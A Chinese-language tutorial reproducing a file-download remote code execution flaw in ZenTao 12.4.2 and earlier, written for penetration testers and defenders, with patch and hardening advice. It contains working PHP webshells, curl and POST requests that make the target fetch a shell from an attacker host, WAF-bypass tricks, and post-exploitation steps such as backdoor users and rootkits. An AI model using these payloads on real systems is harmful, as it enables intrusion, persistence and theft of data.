禅道文件下载漏洞复现:从原理到RCE实战与安全加固

发布时间:2026/7/7 18:07:15

禅道文件下载漏洞复现:从原理到RCE实战与安全加固 1. 项目概述与漏洞背景最近在整理内部安全资产时又回顾了一下禅道项目管理系统的几个历史高危漏洞。CNVD-C-2020-121325 这个编号可能很多人不熟悉但提到“禅道12.4.2及之前版本的文件上传导致远程代码执行漏洞”在安全圈里算是老熟人了。这个漏洞的利用链清晰影响范围广在2020年那会儿不少企业的内网禅道服务器都因为这个洞被打了。即便现在新版本已经修复但作为渗透测试人员和安全研究者理解它的成因和复现过程对于挖掘同类逻辑漏洞、加固自身系统都很有价值。简单来说这个漏洞的核心在于禅道系统在处理文件下载功能时对用户可控的“下载链接”参数link过滤不严攻击者可以构造恶意链接让服务器从远程地址下载一个包含恶意代码的脚本文件并保存到web可访问目录最终实现远程代码执行。整个过程不需要身份认证属于前台漏洞危害极大。今天我就从一个实战演练的角度带大家完整走一遍这个漏洞的复现过程并深入拆解每一步背后的原理和防御思路。2. 漏洞原理深度解析2.1 漏洞触发点定位要理解这个漏洞首先得知道禅道在哪里出了问题。漏洞的根源位于/module/file/control.php文件中的download方法。这个方法的本意是提供一个文件下载功能允许用户通过一个link参数指定远程文件的URL然后由服务器去拉取这个文件并返回给用户或者保存到本地。我们来看一下问题代码的逻辑以下为简化后的伪代码逻辑public function download($fileID, $link, $type ‘file’) { // … 一些前置检查 … if(!empty($link)) { // 从link参数指定的URL下载文件 $fileContent $this-file-getFile($link); // 生成一个本地临时文件名 $filePath $this-file-savePath . $fileName; // 将下载的内容写入本地文件 file_put_contents($filePath, $fileContent); // … 后续可能触发文件包含或直接访问 … } }问题的关键就在这里$link这个参数是用户通过HTTP请求直接传入的而代码中没有对$link指向的URL地址进行严格的合法性校验。攻击者可以将其指向一个自己控制的服务器该服务器返回的内容完全由攻击者决定。2.2 利用链构造从文件上传到RCE单纯的“能下载任意远程文件到服务器”并不直接等于“能执行代码”。禅道的这个漏洞之所以能升级为RCE是因为它巧妙地结合了服务器的两个特性可控的文件内容与后缀攻击者可以在自己的恶意服务器上放置一个内容为PHP代码的文本文件并将该文件的访问链接作为link参数传入。由于代码没有检查下载文件的内容类型和后缀服务器会忠实地将这个PHP代码文件下载并保存到本地。已知的、可Web访问的保存路径禅道下载的文件会保存到一个固定的、可通过Web访问的目录下例如www/zentao/tmp/。这意味着只要攻击者知道最终保存的文件名就能通过浏览器直接访问这个文件。当Web服务器如Apache解析到.php后缀的文件时就会执行其中的PHP代码。所以完整的利用链是构造恶意PHP文件 - 托管在攻击者服务器 - 通过未过滤的link参数诱使禅道服务器下载 - 文件被保存到Web目录 - 直接访问该文件触发代码执行。注意这里有一个常见的误解。有些文章称其为“文件上传漏洞”严格来说它并非通过传统的HTTP文件上传表单实现而是利用“服务器端远程文件下载”功能实现了“将任意文件写入服务器”的效果其危害与文件上传漏洞等同。理解这点对后续的漏洞挖掘很重要不要只盯着move_uploaded_file这类函数。2.3 影响版本与环境搭建根据公开信息该漏洞影响禅道Zentao 12.4.2 的版本。为了安全地复现我们必须在隔离的环境中进行。复现环境准备靶机一台安装有禅道 12.4.2 或更低版本的虚拟机。可以从禅道官网下载历史版本安装包。推荐使用一键安装包在CentOS 7或Ubuntu虚拟机中部署。攻击机一台Kali Linux虚拟机用于发起攻击和托管恶意文件。网络确保攻击机和靶机在同一网络段可以互相访问。我通常使用VirtualBox或VMware搭建一个仅主机Host-Only模式的虚拟网络。搭建要点下载禅道12.4.2的一键安装包.zip或.tar.gz格式。在靶机如CentOS 7上解压安装包到/opt目录。运行安装脚本/opt/zbox/zbox start启动Apache和MySQL服务。通过浏览器访问靶机IP按照向导完成禅道的安装配置。安装成功后访问http://靶机IP/zentao/应能看到禅道登录页面。实操心得在虚拟机中复现时务必拍摄快照。方便在复现过程中出错或想重新开始时快速回滚。同时关闭虚拟机的自动更新和网络共享确保实验环境纯净。3. 漏洞复现实操步骤3.1 信息收集与漏洞探测在发起攻击前我们需要确认目标是否存在漏洞。首先访问禅道首页查看页面底部或登录页面通常会有版本信息。如果无法直接获取可以尝试访问一些默认路径或利用指纹识别工具。更直接的方式是探测漏洞路径。该漏洞的利用入口是/zentao/file-download-这样的路径具体URL可能因版本有小差异。我们可以用一个简单的请求来测试参数是否接受# 使用curl探测这里的link参数先指向一个无害的地址 curl -v “http://靶机IP/zentao/file-download-随机ID.html?linkhttp://攻击机IP/test.txt”如果服务器响应中没有明显的错误如参数不存在或者去查看禅道的tmp目录下是否出现了下载的文件就能初步判断该端点可用。关键步骤确定Web可访问的临时目录路径。这是成功利用的关键。我们需要知道禅道把下载的文件放在哪里。通过查看源码或经验常见的路径是www/zentao/tmp/。我们可以通过触发一个正常的文件下载功能如果存在的话或者利用其他信息泄露漏洞来确认这个绝对路径。在复现环境中因为我们自己搭建的路径是已知的例如/opt/zbox/app/zentao/www/tmp/。3.2 恶意文件准备与托管在攻击机Kali上我们需要做两件事编写恶意PHP文件并启动一个Web服务器来托管它。编写Webshell 在Kali上创建一个文件比如叫shell.php内容是最简单的PHP一句话木马?php eval($_REQUEST[‘cmd’]);?为了增加隐蔽性或者绕过一些简单的内容检查可以稍微变形?php // 使用assert函数 $c $_GET[‘c’]; assert($c); ?或者使用system函数直接执行系统命令?php system($_GET[‘cmd’]); ?我将使用system的版本因为它更直观便于演示命令执行效果。启动简易HTTP服务器 在存放shell.php的目录下使用Python快速启动一个HTTP服务python3 -m http.server 8000这会在攻击机的8000端口启动一个Web服务。确保靶机可以访问到http://攻击机IP:8000/shell.php。3.3 构造并发送漏洞利用请求这是最核心的一步。我们需要向禅道的漏洞端点发送一个HTTP请求其中的link参数指向我们刚刚托管的恶意文件。利用工具Burp Suite 或直接使用curl命令。 我习惯用Burp Suite因为它方便修改和重放请求。利用请求示例POST /zentao/file-download-1.html HTTP/1.1 Host: 靶机IP Content-Type: application/x-www-form-urlencoded … 其他头部 … linkhttp://攻击机IP:8000/shell.phpfileNameexploit.php参数解释link指向攻击者服务器上的恶意PHP文件。fileName这个参数至关重要。它指定了文件被保存到服务器时的名称。我们必须将其指定为.php后缀例如exploit.php。如果这个参数不可控或服务器有重命名机制利用难度会大大增加。在这个漏洞中fileName通常是可控或可预测的。使用cURL的命令行版本curl -X POST “http://靶机IP/zentao/file-download-1.html” -d “linkhttp://攻击机IP:8000/shell.phpfileNamecmd.php”发送请求后如果漏洞存在且利用成功禅道服务器会向我们的攻击机发起请求下载shell.php文件的内容并将其以cmd.php的名字保存到自己的临时目录下。3.4 验证漏洞与执行命令发送利用请求后如何验证是否成功查看攻击机服务器日志在运行Python HTTP服务的终端如果看到来自靶机IP的访问GET /shell.php的记录说明靶机确实尝试下载了我们的恶意文件这是成功的第一步。访问Webshell假设我们确定的临时目录是tmp/且保存的文件名是cmd.php。那么在浏览器中直接访问http://靶机IP/zentao/tmp/cmd.php?cmdwhoami这个URL会向cmd.php传递一个参数cmd其值为系统命令whoami。如果页面上显示了执行结果例如www-data或apache则证明远程代码执行成功。进一步利用成功执行whoami后就可以执行更复杂的命令来收集服务器信息、建立持久化后门等。cmdid查看当前用户权限。cmdpwd查看当前工作目录再次确认Web根目录。cmdls -la /列出根目录文件。cmdcat /etc/passwd查看系统用户。注意事项在实际渗透测试中直接使用system($_GET[‘cmd’])这种Webshell很容易被安全设备检测到。在验证漏洞后应使用更隐蔽的方式如编码命令、使用wget下载更复杂的木马或者直接反弹Shell到监听端口。4. 漏洞修复与安全加固建议复现漏洞是为了更好地防御。针对这个漏洞我们可以从多个层面进行防护。4.1 官方补丁与版本升级最根本的解决方案是升级禅道到安全版本。禅道官方在漏洞披露后迅速发布了修复补丁。对于12.4.2及之前版本的用户应立即升级到最新版本。官方修复方案通常包括对link参数进行严格过滤检查URL是否指向允许的白名单域名或内网地址禁止从任意远程地址下载文件。对下载的文件内容进行安全检查检查文件头、MIME类型防止将可执行脚本保存为可访问的文件。对保存的文件名进行重命名使用不可预测的随机文件名如UUID避免攻击者直接访问。将文件保存到非Web可访问目录即使文件被下载也无法通过HTTP直接访问。升级步骤备份当前禅道的数据库和代码文件。从官网下载最新版本的升级包。按照官方提供的升级文档逐步执行升级脚本。升级完成后彻底检查所有自定义代码和插件是否兼容。4.2 临时缓解措施如果因为某些原因无法立即升级可以采取以下临时措施网络层防护在防火墙或WAFWeb应用防火墙上设置规则拦截对/file-download-等危险路径的异常访问特别是包含远程URL链接的请求。应用层防护修改禅道源码在/module/file/control.php的download方法中直接禁用link参数功能或添加强效的白名单校验。例如public function download($fileID, $link, $type ‘file’) { // 临时修复禁止使用远程link参数 if(!empty($link)) { die(‘Remote file download is disabled for security reasons.’); } // … 原有代码 … }文件系统监控对禅道的tmp目录进行文件系统监控告警任何新创建的.php、.jsp、.asp等可执行脚本文件。4.3 安全开发规范启示这个漏洞给所有开发者上了一课永远不要信任用户输入link、fileName这类参数必须经过严格的验证和过滤。验证应包括长度、字符集、格式是否符合URL规范、所属域名是否在允许列表内。最小权限原则服务器进程如Apache的www-data用户应仅拥有必要的最小权限。即使文件被写入也应限制其执行权限。可以考虑将文件下载到chroot环境或具有noexec挂载选项的目录。避免服务器发起非受控的外部请求功能设计上应尽量避免让服务器根据用户输入去访问外部资源。如果必须则应使用严格的代理和白名单机制。安全的文件处理流程对于用户上传或系统生成的文件应采用“重命名”使用随机哈希值、“隔离存储”非Web目录、“权限控制”不可执行、“内容扫描”查杀恶意代码的组合拳。5. 漏洞复现中的常见问题与排查在复现过程中你可能会遇到一些问题。这里我总结几个常见的坑和解决办法。5.1 复现失败问题排查表问题现象可能原因排查步骤与解决方案攻击机HTTP服务无访问日志1. 靶机与攻击机网络不通。2. 漏洞路径不正确。3. 禅道服务未正常运行。1. 用ping命令检查靶机与攻击机互通性。2. 使用netstat -tulnp检查禅道Apache服务是否在80端口监听。3. 尝试访问禅道首页确认服务正常。4. 查看禅道源码确认download方法的确切URL路由。有下载日志但无法访问Webshell1. 文件保存路径猜测错误。2. 文件名不可控或被重命名。3. 文件内容被服务器处理或过滤。1. 登录禅道服务器在可能的所有tmp、upload目录下按时间查找新文件find /opt/zbox/app/zentao/www -name “*.php” -mmin -5。2. 检查利用请求中的fileName参数是否有效尝试使用不同的参数名如name,file。3. 检查恶意文件内容是否被服务器端的杀毒软件或安全模块过滤。尝试使用不同的PHP代码包装。访问Webshell返回空白或错误1. PHP代码语法错误。2.system等危险函数被禁用。3. 开启了open_basedir等安全限制。1. 在攻击机本地用php -l shell.php检查语法。2. 尝试使用其他函数如passthru(),shell_exec(), 反引号或file_get_contents(‘php://input’)读取POST数据。3. 在Webshell中输出phpinfo()查看服务器PHP配置确认函数是否被禁用。请求被WAF或防火墙拦截目标环境存在安全防护设备。1. 尝试对请求参数进行编码如URL编码、Base64编码。2. 更改请求方法GET/POST互换。3. 添加正常的HTTP头部模拟浏览器请求。4. 使用分块传输、脏数据填充等技术绕过。5.2 高级利用技巧与绕过在更严格的环境下基础的利用方式可能失效需要一些技巧绕过fileName后缀限制如果后端代码强制修改后缀可以尝试利用路径穿越或空字节截断在PHP老版本中如fileName../../../www/exploit.php%00.jpg。或者利用服务器解析漏洞如exploit.php.jpg在某些配置下仍被解析为PHP。绕过内容过滤如果服务器检查文件内容是否包含?php标签可以尝试使用短标签?、script language”php”或者将代码编码后通过eval或assert动态解码执行。无回显命令执行如果命令执行了但没有输出到页面盲注可以使用延时、DNS外带、HTTP请求外带等方式判断命令是否执行。例如cmdping -c 4 攻击机IP然后在攻击机用tcpdump监听ICMP包。5.3 内网渗透中的延伸利用一旦在禅道上获得RCE权限它往往是一个进入内网的绝佳跳板。信息收集立即运行命令收集网络信息 (ifconfig,ip route)、用户信息 (cat /etc/passwd)、进程信息 (ps aux)、其他内网资产 (arp -a)。权限提升检查内核版本、SUID文件、sudo权限、计划任务等尝试提权到root。禅道服务器可能以较高权限运行。内网横向移动利用当前服务器作为代理扫描和攻击内网其他机器。可以上传nmap、frp、reGeorg等工具。持久化后门写入Webshell、创建后门用户、添加SSH密钥、安装Rootkit等确保权限不丢失。在整个复现和渗透过程中务必在授权和隔离的环境中进行并深刻理解每一步操作的潜在影响。漏洞复现的目的始终是提升防御能力修补自身系统的短板。通过对CNVD-C-2020-121325这个经典漏洞的深入剖析我们不仅掌握了一种攻击方法更重要的是建立起对“用户输入验证”、“服务器端请求伪造SSRF”、“不安全文件操作”等安全问题的条件反射在未来的开发和审计工作中能主动识别和规避同类风险。

相关新闻